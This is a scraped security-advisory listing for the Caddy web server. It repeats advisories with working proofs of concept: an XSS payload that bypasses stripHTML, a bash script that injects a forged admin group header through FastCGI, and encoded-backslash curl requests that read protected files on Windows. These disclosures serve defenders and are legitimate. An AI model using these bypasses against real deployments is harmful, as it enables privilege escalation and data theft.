                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Dec 21, 2016

v0.9.3 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Sep 28, 2016

v0.9.2 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
